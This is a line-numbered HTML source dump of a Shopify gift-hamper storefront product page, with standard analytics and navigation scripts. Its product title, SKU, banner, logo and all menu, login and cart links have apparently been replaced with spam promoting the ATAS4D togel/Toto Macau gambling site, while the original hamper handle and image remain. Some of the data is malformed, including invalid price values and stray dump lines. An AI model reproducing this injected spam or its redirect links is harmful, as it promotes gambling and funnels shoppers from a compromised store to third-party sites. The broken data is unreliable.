\"api.bitbybit.studio\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"36fb07b4b7984e6df0ea813e1dcb19ee","type":"APP","apiClientId":28314632193,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"521994455","configuration":"{\"config\":\"{\\\"google_tag_ids\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\",\\\"GT-NFDPL5Q\\\"],\\\"target_country\\\":\\\"ID\\\",\\\"gtag_events\\\":[{\\\"type\\\":\\\"begin_checkout\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/RHfSCK6og9gZEMHe74Yp\\\"]},{\\\"type\\\":\\\"search\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/YjjSCKiog9gZEMHe74Yp\\\"]},{\\\"type\\\":\\\"view_item\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/dMv0CKWog9gZEMHe74Yp\\\",\\\"MC-HY9J2ZJTNZ\\\"]},{\\\"type\\\":\\\"purchase\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/Y2DbCJ-og9gZEMHe74Yp\\\",\\\"MC-HY9J2ZJTNZ\\\"]},{\\\"type\\\":\\\"page_view\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/xwQ2CKKog9gZEMHe74Yp\\\",\\\"MC-HY9J2ZJTNZ\\\"]},{\\\"type\\\":\\\"add_payment_info\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/i9yRCLGog9gZEMHe74Yp\\\"]},{\\\"type\\\":\\\"add_to_cart\\\",\\\"action_label\\\":[\\\"G-X26HYP4083\\\",\\\"AW-11020267329\\\/T9poCKuog9gZEMHe74Yp\\\"]}],\\\"enable_monitoring_mode\\\":false}\"}","eventPayloadVersion":"v1","runtimeContext":"OPEN","scriptVersion":"b2a88bafab3e21179ed38636efcd8a93","type":"APP","apiClientId":1780363,"privacyPurposes":[],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"236060887","configuration":"{\"pixel_id\":\"165971065669324\",\"pixel_type\":\"facebook_pixel\",\"metaapp_system_user_token\":\"-\"}","eventPayloadVersion":"v1","runtimeContext":"OPEN","scriptVersion":"ca16bc87fe92b6042fbaa3acc2fbdaa6","type":"APP","apiClientId":2329312,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"62947543","eventPayloadVersion":"v1","runtimeContext":"LAX","scriptVersion":"1","type":"CUSTOM","privacyPurposes":["MARKETING"],"name":"Meta pixel (migrated)"},{"id":"shopify-app-pixel","configuration":"{}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"0450","apiClientId":"shopify-pixel","type":"APP","privacyPurposes":["ANALYTICS","MARKETING"]},{"id":"shopify-custom-pixel","eventPayloadVersion":"v1","runtimeContext":"LAX","scriptVersion":"0450","apiClientId":"shopify-pixel","type":"CUSTOM","privacyPurposes":["ANALYTICS","MARKETING"]}],isMerchantRequest: false,initData: {"shop":{"name":"Outerbloom","paymentSettings":{"currencyCode":"IDR"},"myshopifyDomain":"outerbloom1.myshopify.com","countryCode":"ID","storefrontUrl":"https:\/\/outerbloom.com"},"customer":null,"cart":null,"checkout":null,"productVariants":[{"price":{"amount":1.349.417.0,"currencyCode":"IDR"},"product":{"title":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","vendor":"Outerbloom Hampers","id":"7881418965207","untranslatedTitle":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","url":"\/products\/outerbloom-mulan-bag-hampers","type":"Parcel Inhouse"},"id":"45873023910103","image":{"src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636"},"sku":"[C]ATAS4D","title":"Standard","untranslatedTitle":"Standard"},{"price":{"amount":635000.0,"currencyCode":"IDR"},"product":{"title":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","vendor":"Outerbloom Hampers","id":"7881418965207","untranslatedTitle":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","url":"\/products\/outerbloom-mulan-bag-hampers","type":"Parcel Inhouse"},"id":"45873024008407","image":{"src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636"},"sku":"[C]OBIPCL1004-CNY2026","title":"Custom logo \u0026 photo for frame","untranslatedTitle":"Custom logo \u0026 photo for frame"}],"purchasingCompany":null},},"https://outerbloom.com/cdn","3c1f2529w4065d210p03530cb8m151179d6",{"modern":"","legacy":""},{"shopId":"15896833","storefrontBaseUrl":"https:\/\/outerbloom.com","extensionBaseUrl":"https:\/\/extensions.shopifycdn.com\/cdn\/shopifycloud\/web-pixels-manager","surface":"storefront-renderer","enabledBetaFlags":"[\"2dca8a86\"]","isMerchantRequest":"false","hashVersion":"3c1f2529w4065d210p03530cb8m151179d6","publish":"custom","events":"[[\"page_viewed\",{}],[\"product_viewed\",{\"productVariant\":{\"price\":{\"amount\":1.349.417.0,\"currencyCode\":\"IDR\"},\"product\":{\"title\":\"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap\",\"vendor\":\"Outerbloom Hampers\",\"id\":\"7881418965207\",\"untranslatedTitle\":\"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap\",\"url\":\"\/products\/outerbloom-mulan-bag-hampers\",\"type\":\"Parcel Inhouse\"},\"id\":\"45873023910103\",\"image\":{\"src\":\"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636\"},\"sku\":\"[C]ATAS4D\",\"title\":\"Standard\",\"untranslatedTitle\":\"Standard\"}}]]"});</script>
235<script>
236  window.ShopifyAnalytics = window.ShopifyAnalytics || {};
237  window.ShopifyAnalytics.meta = window.ShopifyAnalytics.meta || {};
238  window.ShopifyAnalytics.meta.currency = 'IDR';
239  var meta = {"product":{"id":7881418965207,"gid":"gid:\/\/shopify\/Product\/7881418965207","vendor":"Outerbloom Hampers","type":"Parcel Inhouse","handle":"outerbloom-mulan-bag-hampers","variants":[{"id":45873023910103,"price":1.349.41700,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","public_title":"Standard","sku":"[C]ATAS4D"},{"id":45873024008407,"price":63500000,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Custom logo \u0026 photo for frame","public_title":"Custom logo \u0026 photo for frame","sku":"[C]OBIPCL1004-CNY2026"}],"remote":false},"page":{"pageType":"product","resourceType":"product","resourceId":7881418965207,"requestId":"9772bf95-0c76-4bf8-8585-5e940331d073-1771788748"}};
240  for (var attr in meta) {
241    window.ShopifyAnalytics.meta[attr] = meta[attr];
242  }
243</script>
vendor: 1 bytes, line 243
243
244<script class="analytics">
245  (function () {
246    var customDocumentWrite = function(content) {
247      var jquery = null;
248
249      if (window.jQuery) {
250        jquery = window.jQuery;
251      } else if (window.Checkout && window.Checkout.$) {
252        jquery = window.Checkout.$;
253      }
254
255      if (jquery) {
256        jquery('body').append(content);
257      }
258    };
259
260    var hasLoggedConversion = function(token) {
261      if (token) {
262        return document.cookie.indexOf('loggedConversion=' + token) !== -1;
263      }
264      return false;
265    }
266
267    var setCookieIfConversion = function(token) {
268      if (token) {
269        var twoMonthsFromNow = new Date(Date.now());
270        twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2);
271
272        document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
273      }
274    }
275
276    var trekkie = window.ShopifyAnalytics.lib = window.trekkie = window.trekkie || [];
277    if (trekkie.integrations) {
278      return;
279    }
280    trekkie.methods = [
281      'identify',
282      'page',
283      'ready',
284      'track',
285      'trackForm',
286      'trackLink'
287    ];
288    trekkie.factory = function(method) {
289      return function() {
290        var args = Array.prototype.slice.call(arguments);
291        args.unshift(method);
292        trekkie.push(args);
293        return trekkie;
294      };
295    };
296    for (var i = 0; i < trekkie.methods.length; i++) {
297      var key = trekkie.methods[i];
298      trekkie[key] = trekkie.factory(key);
299    }
300    trekkie.load = function(config) {
301      trekkie.config = config || {};
302      trekkie.config.initialDocumentCookie = document.cookie;
303      var first = document.getElementsByTagName('script')[0];
304      var script = document.createElement('script');
305      script.type = 'text/javascript';
306      script.onerror = function(e) {
307        var scriptFallback = document.createElement('script');
308        scriptFallback.type = 'text/javascript';
309        scriptFallback.onerror = function(error) {
310                var Monorail = {
311      produce: function produce(monorailDomain, schemaId, payload) {
312        var currentMs = new Date().getTime();
313        var event = {
314          schema_id: schemaId,
315          payload: payload,
316          metadata: {
317            event_created_at_ms: currentMs,
318            event_sent_at_ms: currentMs
319          }
320        };
321        return Monorail.sendRequest("https://" + monorailDomain + "/v1/produce", JSON.stringify(event));
322      },
323      sendRequest: function sendRequest(endpointUrl, payload) {
324        // Try the sendBeacon API
325        if (window && window.navigator && typeof window.navigator.sendBeacon === 'function' && typeof window.Blob === 'function' && !Monorail.isIos12()) {
326          var blobData = new window.Blob([payload], {
327            type: 'text/plain'
328          });
329
330          if (window.navigator.sendBeacon(endpointUrl, blobData)) {
331            return true;
332          } // sendBeacon was not successful
333
334        } // XHR beacon
335
336        var xhr = new XMLHttpRequest();
337
338        try {
339          xhr.open('POST', endpointUrl);
340          xhr.setRequestHeader('Content-Type', 'text/plain');
341          xhr.send(payload);
342        } catch (e) {
343          console.log(e);
344        }
345
346        return false;
347      },
348      isIos12: function isIos12() {
349        return window.navigator.userAgent.lastIndexOf('iPhone; CPU iPhone OS 12_') !== -1 || window.navigator.userAgent.lastIndexOf('iPad; CPU OS 12_') !== -1;
350      }
351    };
352    Monorail.produce('monorail-edge.shopifysvc.com',
353      'trekkie_storefront_load_errors/1.1',
354      {shop_id: 15896833,
355      theme_id: 153139282135,
356      app_name: "storefront",
357      context_url: window.location.href,
358      source_url: "https://outerbloom.com/cdn/s/trekkie.storefront.79c9ee2a1f7d217701a15e49200b1e976848d6d6.min.js"});
359
360        };
361        scriptFallback.async = true;
362        scriptFallback.src = 'https://outerbloom.com/cdn/s/trekkie.storefront.79c9ee2a1f7d217701a15e49200b1e976848d6d6.min.js';
363        first.parentNode.insertBefore(scriptFallback, first);
364      };
365      script.async = true;
366      script.src = 'https://outerbloom.com/cdn/s/trekkie.storefront.79c9ee2a1f7d217701a15e49200b1e976848d6d6.min.js';
367      first.parentNode.insertBefore(script, first);
368    };
369    trekkie.load(
370      {"Trekkie":{"appName":"storefront","development":false,"defaultAttributes":{"shopId":15896833,"isMerchantRequest":null,"themeId":153139282135,"themeCityHash":"11250444734202683250","contentLanguage":"en","currency":"IDR","eventMetadataId":"c815f750-2e2f-45fc-a32a-af43a1e585c4"},"isServerSideCookieWritingEnabled":true,"monorailRegion":"shop_domain","enabledBetaFlags":["65f
37019447","b5387b81"]},"Session Attribution":{},"S2S":{"facebookCapiEnabled":true,"source":"trekkie-storefront-renderer","apiClientId":580111}}
371    );
372
373    var loaded = false;
374    trekkie.ready(function() {
375      if (loaded) return;
376      loaded = true;
377
378      window.ShopifyAnalytics.lib = window.trekkie;
379
380      var originalDocumentWrite = document.write;
381      document.write = customDocumentWrite;
382      try { window.ShopifyAnalytics.merchantGoogleAnalytics.call(this); } catch(error) {};
383      document.write = originalDocumentWrite;
384
385      window.ShopifyAnalytics.lib.page(null,{"pageType":"product","resourceType":"product","resourceId":7881418965207,"requestId":"9772bf95-0c76-4bf8-8585-5e940331d073-1771788748","shopifyEmitted":true});
386
387      var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
388      var token = match? match[1]: undefined;
389      if (!hasLoggedConversion(token)) {
390        setCookieIfConversion(token);
391        window.ShopifyAnalytics.lib.track("Viewed Product",{"currency":"IDR","variantId":45873023910103,"productId":7881418965207,"productGid":"gid:\/\/shopify\/Product\/7881418965207","name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","price":"1.349.417.00","sku":"[C]ATAS4D","brand":"Outerbloom Hampers","variant":"Standard","category":"Parcel Inhouse","nonInteraction":true,"remote":false},undefined,undefined,{"shopifyEmitted":true});
392      window.ShopifyAnalytics.lib.track("monorail:\/\/trekkie_storefront_viewed_product\/1.1",{"currency":"IDR","variantId":45873023910103,"productId":7881418965207,"productGid":"gid:\/\/shopify\/Product\/7881418965207","name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","price":"1.349.417.00","sku":"[C]ATAS4D","brand":"Outerbloom Hampers","variant":"Standard","category":"Parcel Inhouse","nonInteraction":true,"remote":false,"referer":"https:\/\/outerbloom.com\/products\/outerbloom-mulan-bag-hampers"});
393      }
394    });
395
396
397        var eventsListenerScript = document.createElement('script');
398        eventsListenerScript.async = true;
399        eventsListenerScript.src = "https://outerbloom.com/cdn/shopifycloud/storefront/assets/shop_events_listener-3da45d37.js";
400        document.getElementsByTagName('head')[0].appendChild(eventsListenerScript);
401
402})();</script>
402
403  
403<script>
404  if (!window.ga || (window.ga && typeof window.ga !== 'function')) {
405    window.ga = function ga() {
406      (window.ga.q = window.ga.q || []).push(arguments);
407      if (window.Shopify && window.Shopify.analytics && typeof window.Shopify.analytics.publish === 'function') {
408        window.Shopify.analytics.publish("ga_stub_called", {}, {sendTo: "google_osp_migration"});
409      }
410      console.error("Shopify's Google Analytics stub called with:", Array.from(arguments), "\nSee https://help.shopify.com/manual/promoting-marketing/pixels/pixel-migration#google for more information.");
411    };
412    if (window.Shopify && window.Shopify.analytics && typeof window.Shopify.analytics.publish === 'function') {
413      window.Shopify.analytics.publish("ga_stub_initialized", {}, {sendTo: "google_osp_migration"});
414    }
415  }
416</script>
vendor: 1 bytes, line 416
416
417<script
418  defer
419  src="https://outerbloom.com/cdn/shopifycloud/perf-kit/shopify-perf-kit-3.1.0.min.js"
420  data-application="storefront-renderer"
421  data-shop-id="15896833"
422  data-render-region="gcp-asia-southeast1"
423  data-page-type="product"
424  data-theme-instance-id="153139282135"
425  data-theme-name=""
426  data-theme-version=""
427  data-monorail-region="shop_domain"
428  data-resource-timing-sampling-rate="10"
429  data-shs="true"
430  data-shs-beacon="true"
431  data-shs-export-with-fetch="true"
432  data-shs-logs-sample-rate="1"
433  data-shs-beacon-endpoint="https://outerbloom.com/api/collect"
434></script>
434
435</head>
436<body
437    data-template="product"
438    id="cny-ruby-mulan-bag-hampers"
439    class="template-product template-product"
440  >
441<!-- Google Tag Manager (noscript) -->
vendor: 68 bytes, lines 441-442
441
442<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
442GTM-5QZQDHNB
vendor: 83 bytes, lines 442-443
442"
443height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
444<!-- End Google Tag Manager (noscript) -->
445    <div class="header-wrapper">
446      
447      <div id="shopify-section-NotifBar" class="shopify-section m-0">
448<style>
449  :root {--topbar-bg: #212121;}
450  #notification {z-index: 99;width: 100%;transition: top 0.2s ease-in-out;}
451  #notification.promo-up {top: -48px!important;}
452  .promo-bg {width: 100%;padding: 6px 0;background-color: #212121;}
453  .notification__message p {margin: 0;color: #ffffff;font-size: 14px!important;}
454  .notification__message p a {text-decoration: underline;color: #ffffff;}
455  @media (max-width: 991px){
456    .notification__message p {font-size: 14px!important;}
457  }
458</style>
459<input id="clearCookie" class="hide" type="button" value="Delete Cookie" />
460<div id="notification" class="promo-down promo-bg pl-2 pr-2" data-text="whether-its-cny-or-ramadan-celebrate-your-special-occasion-with-our-exclusively-curated-hampers">
461  <div class="page-width notification__inner ">
462    
463    
464    <div class="notification__message text-center">
465      <p><a href="https://atas4d.biz/" title="Parcel">ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</a></p>
466    </div>
467  </div>
468</div>
469
470
471
472
473</div>
474      <div id="shopify-section-new-header" class="shopify-section mb-0 mt-0"><link href="https://outerbloom.com/cdn/shop/t/138/assets/section-new-header.css?v=90475746808702572881770794809" rel="stylesheet" type="text/css" media="all" />
475
476
477<header>
478  <div class="container">
479    <div class="header-container row justify-content-between pl-lg-0 pr-lg-0">
480      <div class="header-icons header-icon-left col-3">
481        <div id="menu-hamburger" class="d-lg-none">
482          <svg xmlns="http://www.w3.org/2000/svg" width="16" height="10" viewBox="0 0 16 10" fill="none">
483  <path d="M15.5995 0.949976H0.400342C0.320777 0.949976 0.244471 0.918369 0.18821 0.862108C0.131949 0.805847 0.100342 0.729541 0.100342 0.649976C0.100342 0.570411 0.131949 0.494104 0.18821 0.437843C0.244471 0.381582 0.320777 0.349976 0.400342 0.349976H15.5995C15.6791 0.349976 15.7554 0.381582 15.8117 0.437843C15.8679 0.494104 15.8995 0.570411 15.8995 0.649976C15.8995 0.729541 15.8679 0.805847 15.8117 0.862108C15.7554 0.918369 15.6791 0.949976 15.5995 0.949976ZM15.5995 5.29998H0.400342C0.320777 5.29998 0.244471 5.26837 0.18821 5.21211C0.131949 5.15585 0.100342 5.07954 0.100342 4.99998C0.100342 4.92041 0.131949 4.8441 0.18821 4.78784C0.244471 4.73158 0.320777 4.69998 0.400342 4.69998H15.5995C15.6791 4.69998 15.7554 4.73158 15.8117 4.78784C15.8679 4.8441 15.8995 4.92041 15.8995 4.99998C15.8995 5.07954 15.8679 5.15585 15.8117 5.21211C15.7554 5.26837 15.6791 5.29998 15.5995 5.29998ZM15.5995 9.64998H0.400342C0.320777 9.64998 0.244471 9.61837 0.18821 9.56211C0.131949 9.50585 0.100342 9.42954 0.100342 9.34998C0.100342 9.27041 0.131949 9.1941 0.18821 9.13784C0.244471 9.08158 0.320777 9.04998 0.400342 9.04998H15.5995C15.6791 9.04998 15.7554 9.08158 15.8117 9.13784C15.8679 9.1941 15.8995 9.27041 15.8995 9.34998C15.8995 9.42954 15.8679 9.50585 15.8117 9.56211C15.7554 9.61837 15.6791 9.64998 15.5995 9.64998Z" fill="#212121"/>
484</svg>
485
486        </div>
487        <div id="" class="search-icon">
488          <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="none">
489  <path d="M18.7327 19.513L11.427 12.2073C10.8437 12.7043 10.1729 13.0889 9.41454 13.3612C8.65621 13.6334 7.89398 13.7695 7.12787 13.7695C5.25965 13.7695 3.67843 13.1228 2.3842 11.8293C1.08998 10.5359 0.442871 8.95505 0.442871 7.08683C0.442871 5.2186 1.0892 3.63699 2.38187 2.34199C3.67454 1.04699 5.25498 0.398714 7.12321 0.397159C8.99143 0.395603 10.5734 1.04271 11.8692 2.33849C13.165 3.63427 13.8129 5.21588 13.8129 7.08333C13.8129 7.89377 13.6694 8.67816 13.3824 9.43649C13.0954 10.1948 12.7182 10.8435 12.2507 11.3825L19.5564 18.687L18.7327 19.513ZM7.12904 12.6017C8.67682 12.6017 9.98348 12.0689 11.049 11.0033C12.1146 9.93777 12.6474 8.63071 12.6474 7.08216C12.6474 5.5336 12.1146 4.22694 11.049 3.16216C9.98348 2.09738 8.67682 1.5646 7.12904 1.56383C5.58126 1.56305 4.2742 2.09583 3.20787 3.16216C2.14154 4.22849 1.60876 5.53516 1.60954 7.08216C1.61032 8.62916 2.14309 9.93583 3.20787 11.0022C4.27265 12.0685 5.57932 12.6013 7.12787 12.6005" fill="#212121"/>
490</svg>
491
492        </div>
493      </div>
494
495      <div class="logo col-6 text-center">
496        <h1 class="hide hidden"><img src="https://atas4d.biz/images/logo-atas4d.webp" alt="ATAS4D" style="height:60px; width:140px;"></h1>
497        <a href="https://atas4d.biz/"><img src="https://atas4d.biz/images/logo-atas4d.webp" alt="ATAS4D" style="height:60px; width:140px;">
498         </a>
499      </div>
500
501      <div class="header-icon-right header-icons col-3">
502        <div class="icon icon-account-header d-none d-lg-block">
503          <a href="https://biz.platformatas4d.eu.com/game/">
504            <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
505  <path d="M19.015 19.8549C18.4842 18.3662 17.3117 17.0514 15.6819 16.1134C14.052 15.1754 12.0547 14.6667 10.0002 14.6667C7.94569 14.6667 5.94835 15.1754 4.31852 16.1134C2.68869 17.0514 1.51618 18.3662 0.985352 19.8549" stroke="#212121" stroke-linecap="round"/>
506  <path d="M10.0002 10C12.5775 10 14.6668 7.91068 14.6668 5.33335C14.6668 2.75602 12.5775 0.666687 10.0002 0.666687C7.42283 0.666687 5.3335 2.75602 5.3335 5.33335C5.3335 7.91068 7.42283 10 10.0002 10Z" stroke="#212121" stroke-linecap="round"/>
507</svg>
508
509          </a>
510        </div>
511        <div class="icon icon-wishlist-header">
512          <a href="https://biz.platformatas4d.eu.com/game/">
513            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none">
514  <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.072
5146 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.11233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
515</svg>
516
517            
518          </a>
519        </div>
520        <div class="icon icon-cart-header">
521          <a href="https://biz.platformatas4d.eu.com/game/">
522            <svg xmlns="http://www.w3.org/2000/svg" width="22" height="21" viewBox="0 0 22 21" fill="none">
523  <path d="M6.33301 10V5.33335C6.33301 4.09568 6.82467 2.90869 7.69984 2.03352C8.57501 1.15835 9.762 0.666687 10.9997 0.666687C12.2374 0.666687 13.4243 1.15835 14.2995 2.03352C15.1747 2.90869 15.6663 4.09568 15.6663 5.33335V10" stroke="#212121" stroke-linecap="round"/>
524  <path d="M1.30956 10.7793C1.47873 8.74817 1.56389 7.73317 2.23356 7.116C2.90323 6.49883 3.92289 6.5 5.96106 6.5H16.0399C18.0769 6.5 19.0966 6.5 19.7662 7.116C20.4359 7.732 20.5211 8.74817 20.6902 10.7793L21.2899 17.973C21.3879 19.1548 21.4369 19.7463 21.0916 20.1232C20.7439 20.5 20.1512 20.5 18.9636 20.5H3.03623C1.84973 20.5 1.25589 20.5 0.909392 20.1232C0.562892 19.7463 0.611892 19.1548 0.711059 17.973L1.30956 10.7793Z" stroke="#212121"/>
525</svg>
526
527            <span class="cart-count">0</span>
528          </a>
529        </div>
530      </div>
531    </div>
532  </div>
533</header>
534
535<nav class="nav-header">
536  <div class="nav-account-mobile row m-0 d-lg-none">
537    <div class="col-6 welcome-cust p-0">
538      
539        ATAS4D
540      
541    </div>
542    
543      <div class="col-6 login-register text-right p-0">
544        <a href="https://biz.platformatas4d.eu.com/game/">Log In</a> | <a href="https://biz.platformatas4d.eu.com/game/">Sign Up</a>
545      </div>
546    
547  </div>
548  <ul class="nav-menu container">
549    
550      <li id="new-arrival" class="">
551        <a href="https://atas4d.biz/">
552          <span>ATAS4D</span>
553          
554        </a>
555        
556      </li>
557    
558      <li id="flowers" class=" has-child">
559        <a href="https://atas4d.biz/">
560          <span>ATAS 4D</span>
561          
562        <span class="chevron-right d-lg-none">
563          <svg width="8" height="12" viewBox="0 0 8 12" fill="none" xmlns="http://www.w3.org/2000/svg">
564            <path d="M1 1L6 6L1 11" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
565          </svg>
566        </span>
567          
568        </a>
569        
570    
571      <li id="cakes-gifts" class=" has-child">
572        <a href="https://atas4d.biz/">
573          <span>ATAS4D LOGIN</span>
574          
575        <span class="chevron-right d-lg-none">
576          <svg width="8" height="12" viewBox="0 0 8 12" fill="none" xmlns="http://www.w3.org/2000/svg">
577            <path d="M1 1L6 6L1 11" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
578          </svg>
579        </span>
580          
581        </a>
582        
583         
584      <li id="bunga-papan" class=" has-child">
585        <a href="https://atas4d.biz/">
586          <span>GAME ATAS4D</span>
587          
588        <span class="chevron-right d-lg-none">
589          <svg width="8" height="12" viewBox="0 0 8 12" fill="none" xmlns="http://www.w3.org/2000/svg">
590            <path d="M1 1L6 6L1 11" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
591          </svg>
592        </span>
593          
594        </a>
595        
596    
597      <li id="occasions" class=" has-child">
598        <a href="https://atas4d.biz/">
599          <span>ATAS4D TERBAIK</span>
600          
601        <span class="chevron-right d-lg-none">
602          <svg width="8" height="12" viewBox="0 0 8 12" fill="none" xmlns="http://www.w3.org/2000/svg">
603            <path d="M1 1L6 6L1 11" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
604          </svg>
605        </span>
606          
607        </a>
608        
609    
610      <li id="locations" class=" has-child">
611        <a href="https://atas4d.biz/">
612          <span>ATAS4D RESMI</span>
613          
614        <span class="chevron-right d-lg-none">
615          <svg width="8" height="12" viewBox="0 0 8 12" fill="none" xmlns="http://www.w3.org/2000/svg">
616            <path d="M1 1L6 6L1 11" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
617          </svg>
618        </span>
619          
620        </a>
621        </div>
622          </div>
623        
624      </li>
625    
626  </ul>
627</nav>
628<div class="overlay-nav">
629  <!-- Mobile Close Button in Overlay -->
630  <button id="nav-close" class="nav-close-btn d-lg-none">
631    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
632      <path d="M18 6L6 18M6 6L18 18" stroke="black" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
633    </svg>
634  </button>
635</div>
636
637<script>
638  if ($(window).width() < 992) {
639    // Level 1 menu accordion (main menu items)
640    $(".nav-menu .has-child > a").click(function(e){
641      e.preventDefault()
642      const parentLi = $(this).parent()
643      const isCurrentlyOpen = parentLi.hasClass("menu-open")
644      
645      // Close all other open menus (accordion behavior)
646      $(".nav-menu .has-child").not(parentLi).removeClass("menu-open")
647      $(".nav-menu .megamenu").not($(this).next(".megamenu")).slideUp()
648      
649      // Toggle current menu
650      if (isCurrentlyOpen) {
651        parentLi.removeClass("menu-open")
652        $(this).next(".megamenu").slideUp()
653      } else {
654        parentLi.addClass("menu-open")
655        $(this).next(".megamenu").slideDown()
656      }
657    })
658
659    // Level 2 menu accordion (submenu items with grandchildren)
660    $(document).on('click', '.dropdown-menu .has-submenu > a', function(e){
661      e.preventDefault()
662      const parentLi = $(this).parent()
663      const isCurrentlyOpen = parentLi.hasClass("submenu-open")
664      const grandchild = $(this).next(".grandchild")
665      
666      // Close all other open submenus in the same dropdown (accordion behavior)
667      parentLi.siblings('.has-submenu').removeClass("submenu-open")
668      parentLi.siblings('.has-submenu').find('.grandchild').slideUp()
669      parentLi.siblings('.has-submenu').find('.chevron-right').css('transform', 'rotate(0deg)')
670      
671      // Toggle current submenu
672      if (isCurrentlyOpen) {
673        parentLi.removeClass("submenu-open")
674        grandchild.slideUp()
675        $(this).find('.chevron-right').css('transform', 'rotate(0deg)')
676      } else {
677        parentLi.addClass("submenu-open")
678        grandchild.slideDown()
679        $(this).find('.chevron-right').css('transform', 'rotate(90deg)')
680      }
681    })
682
683    $("#menu-hamburger").click(function(e){
684      e.preventDefault()
685      $("body").toggleClass("nav_open")
686    })
687    
688    // Handle close button click
689    $("#nav-close").click(function(e){
690      e.preventDefault()
691      $("body").removeClass("nav_open")
692      // Close all open menus when close button is clicked
693      $(".nav-menu .has-child").removeClass("menu-open")
694      $(".nav-menu .megamenu").slideUp()
695      $(".dropdown-menu .has-submenu").removeClass("submenu-open")
696      $(".dropdown-menu .grandchild").slideUp()
697      $(".dropdown-menu .chevron-right").css('transform', 'rotate(0deg)')
698    })
699  }
700
701  $(".overlay-nav").click(function(e){
702      e.preventDefault()
703      $("body").removeClass("nav_open")
704      // Close all open menus when overlay is clicked
